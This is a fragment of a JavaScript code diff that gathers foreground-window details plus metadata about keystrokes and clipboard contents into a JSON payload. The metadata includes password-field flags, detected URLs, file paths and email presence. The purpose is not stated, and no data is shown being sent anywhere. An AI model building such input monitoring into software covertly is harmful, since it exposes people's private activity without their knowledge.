+            if (cols.length >= 4)
+                processName = cols[3];
+        }
+    }
+    return {
+        focused_app: cap(processName || windowClass || title || ""),
+        process_name: cap(processName || ""),
+        process_path: cap(processPath || "", 320),
+        pid: cap(pid || ""),
+        window_title: cap(title || "", 320),
+        window_class: windowClass,
+        capture_method: winId ? "xdotool_ps" : "xprop_ps",
+    };
+}
+async function captureForegroundContext() {
+    const now = Date.now();
+    if (cachedForeground && now - cachedForegroundAt < FG_CACHE_MS) {
+        return cachedForeground;
+    }
+    let fg;
+    if (process.platform === "win32")
+        fg = await foregroundContextWindows();
+    else if (process.platform === "darwin")
+        fg = await foregroundContextMac();
+    else if (process.platform === "linux")
+        fg = await foregroundContextLinux();
+    else
+        fg = { capture_method: "none" };
+    if (hasUsableForeground(fg)) {
+        cachedLastGoodForeground = fg;
+        cachedLastGoodForegroundAt = now;
+    }
+    else if (cachedLastGoodForeground &&
+        now - cachedLastGoodForegroundAt < FG_LAST_GOOD_CACHE_MS) {
+        fg = {
+            ...cachedLastGoodForeground,
+            capture_method: (cachedLastGoodForeground.capture_method || "cached") + "_cached",
+        };
+    }
+    cachedForeground = fg;
+    cachedForegroundAt = now;
+    return fg;
+}
+function estimateConfidence(fg) {
+    if (fg.process_name && fg.window_title && fg.pid)
+        return "high";
+    if (fg.process_name || fg.window_title || fg.focused_app || fg.window_class)
+        return "medium";
+    return "low";
+}
+async function buildInputContextJson(kind, text) {
+    const fg = await captureForegroundContext();
+    const payload = {
+        platform: process.platform,
+        event_kind: kind,
+        captured_at: new Date().toISOString(),
+        capture_method: fg.capture_method,
+        confidence: estimateConfidence(fg),
+        focused_app: fg.focused_app,
+        app_type: inferAppType(fg.process_name || fg.focused_app, fg.process_path, fg.window_title),
+        process_name: fg.process_name,
+        process_path: fg.process_path,
+        pid: fg.pid,
+        window_title: fg.window_title,
+        window_class: fg.window_class,
+    };
+    if (looksLikeBrowserApp(fg.process_name || fg.focused_app)) {
+        payload.browser_name = inferBrowserName(fg.process_name || fg.focused_app);
+        payload.browser_tab_hint = cap(fg.window_title, 320);
+        payload.browser_url_hint = parseFirstUrl(fg.window_title || "") || undefined;
+        if (!payload.browser_url_hint && process.platform === "darwin") {
+            payload.browser_url_hint = await tryMacBrowserUrl(fg.process_name || fg.focused_app);
+        }
+    }
+    if (kind === "keyboard") {
+        if (payload.app_type === "unknown" &&
+            cachedContextHints &&
+            Date.now() - cachedContextHintsAt < CONTEXT_HINT_CACHE_MS) {
+            payload.app_type = payload.app_type || cachedContextHints.app_type;
+            payload.focused_app = payload.focused_app || cachedContextHints.focused_app;
+            payload.process_name = payload.process_name || cachedContextHints.process_name;
+            payload.process_path = payload.process_path || cachedContextHints.process_path;
+            payload.window_title = payload.window_title || cachedContextHints.window_title;
+            payload.window_class = payload.window_class || cachedContextHints.window_class;
+            payload.browser_name = payload.browser_name || cachedContextHints.browser_name;
+            if (payload.capture_method === "none" && cachedContextHints.capture_method) {
+                payload.capture_method = `${cachedContextHints.capture_method}_hint`;
+            }
+            if (payload.confidence === "low")
+                payload.confidence = "medium";
+        }
+        if (!payload.browser_url_hint) {
+            payload.browser_url_hint = parseFirstUrl(payload.window_title || "") || undefined;
+        }
+        if (payload.browser_url_hint && payload.app_type === "unknown") {
+            payload.app_type = "browser";
+        }
+        payload.working_directory_hint = inferWorkingDirectoryHint(fg.window_title, text);
+        payload.input_hint = inferInputHint(payload.window_title || fg.window_title);
+        payload.input_control_type_hint = fg.input_control_type;
+        payload.input_control_name_hint = fg.input_control_name;
+        payload.input_control_automation_id_hint = fg.input_control_automation_id;
+        payload.input_control_help_text_hint = fg.input_control_help_text;
+        payload.input_is_password_hint = fg.input_is_password === true;
+        payload.input_tag_type_hint = inferInputTagType(payload.window_title || fg.window_title, payload.browser_url_hint, text, payload.app_type, payload.input_hint, {
+            controlType: payload.input_control_type_hint,
+            controlName: payload.input_control_name_hint,
+            controlAutomationId: payload.input_control_automation_id_hint,
+            controlHelpText: payload.input_control_help_text_hint,
+            isPassword: payload.input_is_password_hint === true,
+        });
+        payload.input_tag_type_hint = applyKeyboardTagContinuity(payload.input_tag_type_hint, text, payload.app_type, payload.input_hint, payload.window_title || fg.window_title, payload.browser_url_hint, payload.focused_app || payload.process_name, payload.pid);
+        payload.typed_char_count = text.length;
+        const typed = (text || "").trim();
+        if (!payload.browser_url_hint) {
+            if (/^https?:\/\//i.test(typed)) {
+                payload.browser_url_hint = parseFirstUrl(typed) || undefined;
+            }
+            else if (/^(?:[a-z0-9-]+\.)+[a-z]{2,}(?:\/[^\s]*)?$/i.test(typed)) {
+                payload.browser_url_hint = cap(`https://${typed}`, 220);
+            }
+        }
+        if (payload.input_tag_type_hint === "url" &&
+            payload.app_type &&
+            payload.app_type === "unknown") {
+            payload.app_type = "browser";
+        }
+    }
+    else {
+        const hints = parseClipboardPathHints(text);
+        const urls = detectClipboardUrls(text);
+        const paths = detectClipboardFilePaths(text);
+        payload.input_hint = inferInputHint(fg.window_title);
+        payload.clipboard_file_path_hint = hints.clipboard_file_path_hint;
+        payload.clipboard_directory_hint = hints.clipboard_directory_hint;
+        payload.clipboard_content_type = inferClipboardContentType(text);
+        payload.clipboard_char_count = text.length;
+        payload.clipboard_line_count = text ? text.split(/\r?\n/).length : 0;
+        payload.clipboard_has_path = paths.length > 0;
+        payload.clipboard_has_url = urls.length > 0;
+        payload.clipboard_has_email = /[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}/i.test(text);
+        payload.clipboard_url_count = urls.length;
+        payload.clipboard_path_count = paths.length;
+        payload.clipboard_detected_urls = urls.length ? urls : undefined;
+        payload.clipboard_detected_file_paths = paths.length ? paths : undefined;
+        payload.browser_url_hint =
+            payload.browser_url_hint || urls[0] || parseFirstUrl(text) || undefined;
+        if (payload.browser_url_hint && payload.app_type === "unknown") {
+            payload.app_type = "browser";
+        }
+        payload.input_tag_type_hint = inferClipboardTagType(text, payload.clipboard_content_type || "text", payload.clipboard_has_email === true, payload.clipboard_has_url === true, payload.clipboard_has_path === true);
+        if (payload.input_tag_type_hint === "text") {
+            const contextualTag = inferInputTagType(payload.window_title || fg.window_title, payload.browser_url_hint, text, payload.app_type, payload.input_hint);
+            if (contextualTag && contextualTag !== "text") {
+                payload.input_tag_type_hint = contextualTag;
+            }
+        }
+        payload.working_directory_hint =
+            inferWorkingDirectoryHint(fg.window_title, text) || payload.clipboard_directory_hint;
+        if (payload.app_type === "unknown") {
+            const inferred = inferClipboardAppTypeFromContent(payload.clipboard_content_type, payload.clipboard_has_url === true, payload.clipboard_has_path === true);
+            if (inferred)
+                payload.app_type = inferred;
+        }
+        if (payload.confidence === "low" && payload.clipboard_content_type && payload.clipboard_content_type !== "empty") {
+            payload.confidence = "medium";
+        }
+        if (payload.capture_method === "none") {
+            payload.capture_method = "clipboard_analysis";
+        }
+    }
+    payload.browser_extension_type = inferBrowserExtensionType(fg.process_name || fg.focused_app, fg.window_title, payload.browser_url_hint, kind === "clipboard" ? text : undefined);
+    const extHints = inferBrowserExtensionHints(fg.window_title, payload.browser_url_hint, kind === "clipboard" ? text : undefined);
+    payload.browser_extension_name_hint = extHints.extensionNameHint;
+    payload.browser_extension_id_hint = extHints.extensionIdHint;
+    rememberContextHints(payload);
+    const json = JSON.stringify(payload);
+    if (json.length <= MAX_JSON_CHARS)
+        return json;
+    const compact = {
+        platform: payload.platform,
+        event_kind: payload.event_kind,
+        captured_at: payload.captured_at,
+        capture_method: payload.capture_method,
+        confidence: payload.confidence,
+        focused_app: payload.focused_app,
+        app_type: payload.app_type,
+        process_name: payload.process_name,
+        pid: payload.pid,
+        window_title: cap(payload.window_title, 180),
+        window_class: payload.window_class,
+        browser_name: payload.browser_name,
+        browser_url_hint: payload.browser_url_hint,
+        browser_extension_type: payload.browser_extension_type,
+        browser_extension_name_hint: payload.browser_extension_name_hint,
+        browser_extension_id_hint: payload.browser_extension_id_hint,
+        working_directory_hint: cap(payload.working_directory_hint, 180),
+        input_hint: payload.input_hint,
+        input_tag_type_hint: payload.input_tag_type_hint,
+        input_control_type_hint: payload.input_control_type_hint,
+        input_control_name_hint: cap(payload.input_control_name_hint, 120),
+        input_control_automation_id_hint: cap(payload.input_control_automation_id_hint, 100),
+        input_control_help_text_hint: cap(payload.input_control_help_text_hint, 120),
+        input_is_password_hint: payload.input_is_password_hint,
+        typed_char_count: payload.typed_char_count,
+        clipboard_content_type: payload.clipboard_content_type,
+        clipboard_char_count: payload.clipboard_char_count,
+        clipboard_line_count: payload.clipboard_line_count,
+        clipboard_has_path: payload.clipboard_has_path,
+        clipboard_has_url: payload.clipboard_has_url,
+        clipboard_has_email: payload.clipboard_has_email,
+        clipboard_url_count: payload.clipboard_url_count,
+        clipboard_path_count: payload.clipboard_path_count,
+        clipboard_detected_urls: payload.clipboard_detected_urls,
+        clipboard_detected_file_paths: payload.clipboard_detected_file_paths,
+        clipboard_file_path_hint: cap(payload.clipboard_file_path_hint, 180),
+        clipboard_directory_hint: cap(payload.clipboard_directory_hint, 180),
+    };
+    return JSON.stringify(compact);
+}